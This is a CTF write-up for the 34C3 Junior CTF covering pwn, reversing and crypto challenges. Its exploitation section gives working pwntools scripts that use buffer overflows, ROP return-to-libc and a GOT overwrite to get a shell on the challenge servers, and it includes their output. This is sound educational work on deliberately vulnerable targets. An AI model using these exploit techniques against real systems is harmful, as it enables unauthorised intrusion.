34c3 Junior CTF
1 Exploitaion
1.1 Digital Billboard - easy
We bought a new Digital Billboard for CTF advertisement:
nc 35.198.185.193 1337
Files : billoard
-> % nc localhost 12345 * Digital Billboard * We bought a new digital billboard for CTF advertisement. Type "help" for help :) > help set_text <text> (Set the text displayed on the board) devmode (Developer mode) help (Show this information) modinfo (Show information about the loaded module) > set_text hello Successfully set text to: hello > devmode Developer mode disabled! >
We are given the binary as well as the source files . We can now run the server , but it gives an error that the user challenge does not exit , just add a user called challenge , after that we can run the server and connect it with nc .
The following function is called when devmode option is selected and it checks if the devmode variable have a non zero value and spawn's a shell
void shell(int argc, char* argv[]) { if (bb.devmode) { printf("Developer access to billboard granted.\n"); system("/bin/bash"); } else { printf("Developer mode disabled!\n"); } return; }
We can see that there is a buffer overflow in set_text
function
void set_text(int argc, char* argv[]) { strcpy(bb.text, argv[1]); printf("Successfully set text to: %s\n", bb.text); return; }
it copy's arbitrary length of string to bb.text
struct billboard { char text[256]; char devmode; }; struct billboard bb = { .text="Placeholder", .devmode=0 };
Using this buffer overflow we can overflow the devmode
variable and set it to arbitrary value ,
*
Digital Billboard
*
We bought a new digital billboard for CTF advertisement.
Type "help" for help :)
> set_text AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Successfully set text to: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> devmode
Developer access to billboard granted.
cat flag.txt
34C3_w3lc0me_t0_34c3_ctf_H4ve_fuN
1.2 Gift Wrapping Factory - easy/mid
Have trouble wrapping your gifts nicely? Take a look at this new service:
nc 35.198.185.193 1338
Files : wrap
We are given the server source and the server binary and the giftwrapper shared library .
connecting to the server gives the following prompt
* Gift Wrapping Factory * Welcome to the new gift wrapping service! Type "help" for help :) > wrap What is the size of the gift you want to wrap? |> 10 Please send me your gift. |> hello _ _ ((\o/)) .-------//^\\------. | /` `\ | | | | hello | | | ------------------ Wow! This looks so beautiful > modinfo ************************************ Information about the loaded module: Name: Gift Wrapping Factory Base address: 0x7f54c5187000 ************************************ >
wrap takes a input size and read's that much character and prints the result
Let's analyse the function .
0x0000087a b 4154 push r12 0x0000087c 55 push rbp 0x0000087d 53 push rbx 0x0000087e 4883ec70 sub rsp, 0x70 ; 'p' 0x00000882 488d3db70100. lea rdi, str.What_is_the_size_of_the_gift_you_want_to_wrap__n___ ; 0xa40 ; "What is the size of the gift 0x00000889 b800000000 mov eax, 0 0x0000088e e8cdfeffff call sub.printf_40_760 ;[1] 0x00000893 488d742465 lea rsi, [rsp + 0x65] ; 'e' 0x00000898 48c744246500. mov qword [rsp + 0x65], 0 0x000008a1 66c744246d00. mov word [rsp + 0x6d], 0 0x000008a8 c644246f00 mov byte [rsp + 0x6f], 0 0x000008ad ba0a000000 mov edx, 0xa 0x000008b2 bf01000000 mov edi, 1 0x000008b7 e8b4feffff call sym.imp.read ;[2] ; ssize_t read(int fildes, void *buf, size_t nbyte) 0x000008bc 4885c0 test rax, rax ,=< 0x000008bf 0f8eed000000 jle 0x9b2 ;[3] | 0x000008c5 488d7c2465 lea rdi, [rsp + 0x65] ; 'e' | 0x000008ca ba00000000 mov edx, 0 | 0x000008cf be00000000 mov esi, 0 | 0x000008d4 e8a7feffff call sym.imp.strtol ;[4] ; long strtol(const char *str, char**endptr, int base) | 0x000008d9 4889c5 mov rbp, rax | 0x000008dc 6683f863 cmp ax, 0x63 ; 'c' ,==< 0x000008e0 0f8fd6000000 jg 0x9bc ;[5] || 0x000008e6 488d3dab0100. lea rdi, str.Please_send_me_your_gift._n___ ; 0xa98 ; "Please send me your gift.\n |> " || 0x000008ed b800000000 mov eax, 0 || 0x000008f2 e869feffff call sub.printf_40_760 ;[1] || 0x000008f7 4889e6 mov rsi, rsp || 0x000008fa b90c000000 mov ecx, 0xc || 0x000008ff b800000000 mov eax, 0 || 0x00000904 4889f7 mov rdi, rsi || 0x00000907 f348ab rep stosq qword [rdi], rax || 0x0000090a c70700000000 mov dword [rdi], 0 || 0x00000910 0fb7c5 movzx eax, bp || 0x00000913 488d5001 lea rdx, [rax + 1] || 0x00000917 bf01000000 mov edi, 1 || 0x0000091c e84ffeffff call sym.imp.read ;[2] ; ssize_t read(int fildes, void *buf, size_t nbyte) || 0x00000921 83e801 sub eax, 1 [19/1924] || 0x00000924 4863d0 movsxd rdx, eax || 0x00000927 803c140a cmp byte [rsp + rdx], 0xa ; [0xa:1]=0 ,===< 0x0000092b 0f8499000000 je 0x9ca ||| ; JMP XREF from 0x000009ce (sym.wrap) .----> 0x00000931 488d3d800100. lea rdi, str._____________n____________o__________n_.____________________._n_______________________n________ __________ ; 0xab8 ; " _ _ \n ((\\o/)) \n .-------//^\\\\------.\n | /` `\\ |\n | |" :||| 0x00000938 e803feffff call sym.imp.puts ; int puts(const char *s) :||| 0x0000093d 6685ed test bp, bp ,=====< 0x00000940 7e4f jle 0x991 |:||| 0x00000942 0fbfed movsx ebp, bp |:||| 0x00000945 83ed01 sub ebp, 1 |:||| 0x00000948 83e5f0 and ebp, 0xfffffff0 |:||| 0x0000094b 83c510 add ebp, 0x10 |:||| 0x0000094e bb00000000 mov ebx, 0 |:||| 0x00000953 4989e4 mov r12, rsp |:||| ; JMP XREF from 0x0000098f (sym.wrap) .------> 0x00000956 4863f3 movsxd rsi, ebx :|:||| 0x00000959 4c01e6 add rsi, r12 ; 'n' :|:||| 0x0000095c 488d3d3d0200. lea rdi, str.___.16s ; 0xba0 ; " | %.16s" :|:||| 0x00000963 b800000000 mov eax, 0 :|:||| 0x00000968 e8f3fdffff call sym.imp.printf ; int printf(const char *format) :|:||| 0x0000096d be13000000 mov esi, 0x13 :|:||| 0x00000972 29c6 sub esi, eax :|:||| 0x00000974 ba20000000 mov edx, 0x20 ; "@" :|:||| 0x00000979 488d3d290200. lea rdi, str.__c___n ; 0xba9 ; "%*c |\n" :|:||| 0x00000980 b800000000 mov eax, 0 :|:||| 0x00000985 e8d6fdffff call sym.imp.printf ; int printf(const char *format) :|:||| 0x0000098a 83c310 add ebx, 0x10 :|:||| 0x0000098d 39eb cmp ebx, ebp `======< 0x0000098f 75c5 jne 0x956 |:||| ; JMP XREF from 0x00000940 (sym.wrap) `-----> 0x00000991 488d3d900100. lea rdi, str._____________________n______________________n ; 0xb28 ; " | |\n ------------- -- \n" :||| 0x00000998 e8a3fdffff call sym.imp.puts ; int puts(const char *s) :||| 0x0000099d 488d3d0c0200. lea rdi, str.Wow__This_looks_so_beautiful ; 0xbb0 ; "Wow! This looks so beautiful" :||| 0x000009a4 e897fdffff call sym.imp.puts ; int puts(const char *s) .-----> 0x000009a9 4883c470 add rsp, 0x70 ; 'p' ::||| 0x000009ad 5b pop rbx ::||| 0x000009ae 5d pop rbp ::||| 0x000009af 415c pop r12 ::||| 0x000009b1 c3 ret
The function reads the size of the input and use strol
function to convert the string to int , then checks if the number is
larger than 0x63 if it is the text the gift is too large is printed , then reads the gift with read
function with the inputted number
as the size of bytes to be read .
The bug is that we can give a negative number and it will be stored in memory as two's complement form but the read function takes this
as a unsigned integer so -1 -> 0xffffffff in two's complement , will make read
read 0xffffffff bytes of data . now we have a buffer overflow
There is a spawn_shell
function in the library we just need to jump to that location . Since ASLR is turned on we need to calculate the offset.
we can use the modeinfo
function to get the base address if the library can calculate the offset.
from pwn import * # host = "localhost" # port = "12345" host = "35.198.185.193" port = "1338" offset = 136 shell_offset = 0x9d3 io = remote(host, port) io.recvuntil('> ') io.send("modinfo\n") addr = int(io.recvuntil('> ').split('\n')[3].split(':')[1], 16) + shell_offset io.send("wrap\n") io.recvuntil('|> ') io.send('-1\n') io.recvuntil('|> ') io.send("A" * offset + p64(addr) + "\n") io.interactive() io.close()
-> % python exploit.py [+] Opening connection to 35.198.185.193 on port 1338: Done [*] Switching to interactive mode _ _ ((\o/)) .-------//^\\------. | /` `\ | | | | | ------------------ Wow! This looks so beautiful $ cat flag.txt 34C3_be4ut1fUl_sh3ll_g1fts_3v3ryWh3r3
1.3 Gift Wrapping Factory 2.0 - mid/hard
Wrapping gifts is now even more fun! Gift Wrapping Factory 2.0:
nc 35.198.185.193 1341
Files : wrap2
This is challenge is like the previous one the change is that there is no spawn_shell
function we have to do a return-to-libc attack
For that we are given libc that the server uses , and we know the base address of the giftwrapper shared library when it is mapped into the memory using the modinfo function from these knowledge we can find the actual address of the system function in the memory and jump to that address
gdb-peda$ vmmap ... 0x00007f1c93d78000 0x00007f1c93d79000 r-xp /media/DataZ/bi0s/ctf/34c3 Junior/files/wrap2/giftwrapper2.so 0x00007f1c93d79000 0x00007f1c93f78000 ---p /media/DataZ/bi0s/ctf/34c3 Junior/files/wrap2/giftwrapper2.so 0x00007f1c93f78000 0x00007f1c93f79000 r--p /media/DataZ/bi0s/ctf/34c3 Junior/files/wrap2/giftwrapper2.so 0x00007f1c93f79000 0x00007f1c93f7a000 rw-p /media/DataZ/bi0s/ctf/34c3 Junior/files/wrap2/giftwrapper2.so 0x00007f1c93f7a000 0x00007f1c9410f000 r-xp /lib/x86_64-linux-gnu/libc-2.24.so 0x00007f1c9410f000 0x00007f1c9430f000 ---p /lib/x86_64-linux-gnu/libc-2.24.so 0x00007f1c9430f000 0x00007f1c94313000 r--p /lib/x86_64-linux-gnu/libc-2.24.so 0x00007f1c94313000 0x00007f1c94315000 rw-p /lib/x86_64-linux-gnu/libc-2.24.so ...
The libc is mapped after giftwrapper
and it task 0x202000 of memory address so the base address of libc is baseadds of giftwrapper + 0x202000
-> % r2 libc-2.26.so [0x000212e0]> is~system vaddr=0x0014c330 paddr=0x0014c330 ord=229 fwd=NONE sz=107 bind=GLOBAL type=FUNC name=svcerr_systemerr vaddr=0x00047dc0 paddr=0x00047dc0 ord=595 fwd=NONE sz=45 bind=GLOBAL type=FUNC name=__libc_system vaddr=0x00047dc0 paddr=0x00047dc0 ord=1378 fwd=NONE sz=45 bind=WEAK type=FUNC name=system [0x000212e0]> /+ /bin/sh Using chunksize: 7 /x 2f62696e2f7368 Searching 7 bytes in [0x0-0x1d5da4] hits: 1 Searching 7 bytes in [0x3d6758-0x3dfa60] hits: 0 0x001a3ee0 hit0_0 2f62696e2f7368 [0x000212e0]>
So the offset of system is 0x00047dc0
and the string "/bin/sh" is at offset 0x001a3ee0
.
Now we need to find a gadget to pop the string to rdi
-> % r2 server [0x00400dc0]> /Rl pop rdi 0x00401550: pop rdi; ret; 0x004015c3: pop rdi; ret; [0x00400dc0]>
The final exploit
from pwn import * # host = "localhost" # port = "12345" host = "35.198.185.193" port = "1341" offset = 136 shell_offset = 0x202000 + 0x001a3ee0 system_offset = 0x202000 + 0x00047dc0 io = remote(host, port) io.recvuntil('> ') io.send("modinfo\n") addr = int(io.recvuntil('> ').split('\n')[3].split(':')[1], 16) io.send("wrap\n") io.recvuntil('|> ') io.send('-1\n') io.recvuntil('|> ') rop = p64(0x0000000000401550) # pop rdi ; ret rop += p64(addr + shell_offset) rop += p64(addr + system_offset) io.send("A" * offset + rop + "\n") io.interactive() io.close()
-> % python exploit.py [+] Opening connection to 35.198.185.193 on port 1341: Done [*] Switching to interactive mode _ _ ((\o/)) .-------//^\\------. | /` `\ | | | | | ------------------ Wow! This looks so beautiful $ cat flag.txt 34C3_r0p_wr4pP3d_g1fts_ar3_tH3_b3st_g1fts
1.4 Mate Bottling Plant Control Center - easy/mid
To guarantee a constant supply of Mate we built our own Mate Bottling Plant:
nc 35.198.185.193 1339
File : mete
Running the server
Mate Bottling Plant Control Center .-----------------------------------------------------------------------. | Security advice: | | This industrial application may only be used by qualified employees. | | Non-intended usage may lead to serious damage to the machinery. | ----------------------------------------------------------------------- Type "help" for an overview of the provided functionality. > help formula (Display the used Mate formula) new_formula <i1> <i2> ... (Design a new Mate formula) tap_pos (Show the current position of the filling tap) move_tap <offset> (Move the filling tap by offset) fill <n> (Fill n milliliters of Mate at the current filling tap position) hose_pos (Show the current position of the extraction hose) move_hose <offset> (Move the extraction hose by offset) extract <n> (Extract n milliliters of mate at the current extraction hose position) inspect <p> (Inspect the bottle at position p) exit (Shut down the Mate Bottling Plant) help (Show this information) modinfo (Show information about the loaded module) > tap_pos The filling tap is at position 0x7faa8bbeb0c0. > move_tap 10 > tap_pos The filling tap is at position 0x7faa8bbeb0ca. > formula water mate_tea sugar_syrup citric_acid caffeine carbonic_acid > new_formula test Updated Mate formula. > formula test > fill 4 Succesfully filled 4 milliliters of mate at 0x7faa8bbeb0ca.
By going through the disassembly of all the function we can see that the most important is fill and formula .
the fill command writes the given size of bytes from formula to the memory pointed by the tap , we can move the position of the tap with move_tap
command to anywhere since there is no boundary check for the given offset
0x00000fa2 488b05d71f20. mov rax, qword [reloc.completed.6973_128] ; psition of the tap 0x00000fa9 488b1424 mov rdx, qword [rsp] 0x00000fad 480110 add qword [rax], rdx
Using this we can write to anywhere in the memory , we can write the address of spawn_shell
which is included in the library to a GOTaddress
of printf and when printf is called after that we will be executing the spawnsell function instead .
->% objdump -R server ... 0000000000602038 R_X86_64_JUMP_SLOT dup2@GLIBC_2.2.5 0000000000602040 R_X86_64_JUMP_SLOT printf@GLIBC_2.2.5 0000000000602048 R_X86_64_JUMP_SLOT alarm@GLIBC_2.2.5 0000000000602050 R_X86_64_JUMP_SLOT close@GLIBC_2.2.5 ...
The GOT address of the printf is 0x0602040
[0x00000cc0]> is~shell vaddr=0x00001293 paddr=0x00001293 ord=055 fwd=NONE sz=21 bind=GLOBAL type=FUNC name=spawn_shell
offset to spawnshell is 0x00001293
Connecting to server few times we can see that the address to tap is not changing now using that we can calculate the amount the tap should be
moved to point to the printf and we can create a formula with the address of the spawn_sell
function and then call fill command to write to
that address.
Final exploit
from pwn import * # host = "localhost" # port = "12345" host = "35.198.185.193" port = "1339" shell_offset = 0x00001293 io = remote(host, port) io.recvuntil('> ') io.send("modinfo\n") addr = int(io.recvuntil('> ').split('\n')[3].split(':')[1], 16) log.info("addr : " + hex((addr))) io.send("new_formula " + p64(addr + shell_offset) + "\n") io.recvuntil('> ') io.send("move_tap -140203308077184 \n ") io.recvuntil('> ') io.send("fill 6 \n") io.interactive() io.close()
-> % python exploit [+] Opening connection to 35.198.185.193 on port 1339: Done [*] addr : 0x7f83a09fc000 [*] Switching to interactive mode Succesfully filled 6 milliliters of mate at 0x602040. $ cat flag.txt 34C3_t0ns_0f_M4t3_w3r3_f1lL3d_t0d4y
2 Reversing
2.1 ARM1 - easy
Can you reverse engineer this code and get the flag?
This code is ARM Thumb 2 code which runs on an STM32F103CBT6. You should not need such a controller to solve this challenge.
There are 5 stages in total which share all the same code base, so you are able to compare code from the first stage with all the other stages to see what code is actually relevant.
If you should need a datasheet, you can get it here.
In case you need to refresh your ARM assembly, check out Azeria's cool articles.
Challenge binary
File : armstage1
-> % strings arm_stage1.bin| grep 34C3 The flag is: 34C3_I_4dm1t_it_1_f0und_th!s_with_str1ngs
3 Crypto
3.1 top - easy
Perfectly secure. That's for sure! Or can break it and reveal my secret?
We are given a encryption script and the a file which is encrypted with it
import random import sys import time cur_time = str(time.time()).encode('ASCII') random.seed(cur_time) msg = input('Your message: ').encode('ASCII') key = [random.randrange(256) for _ in msg] c = [m ^ k for (m,k ) in zip(msg + cur_time, key + [0x88]*len(cur_time))] with open(sys.argv[1], "wb") as f: f.write(bytes(c))
What this script do is that first it creates keys using the python random number generator who's seed is the current time . then the input sting
appended with the time is xored with key and 0x88 . Here every time the curtime is xored with 0x88
, thus we are able to extract the time from the secret
After that we just need to generate the key's with this seed and xor with the input gives us the flag .
import random import sys import time with open("/home/nemesis/Downloads/top_secret_86d05414a795935dcdd0f8128f53baa7", "rb") as f: enc = list(f.read()) time = [] for i in enc[len(enc) - 18:len(enc)]: time.append(i ^ 0x88) msg = enc[:len(enc) - 18] random.seed(''.join([chr(i) for i in time])) key = [random.randrange(256) for _ in msg] c = [int(m) ^ int(k) for (m, k) in zip(msg + time, key + [0x88] * len(time))] print(''.join([chr(i) for i in c]))
-> % python3 decrypt.py Here is your flag: 34C3_otp_top_pto_pot_tpo_opt_wh0_car3s¹½¹»¿¹±¹»»¦°¿º°¿½º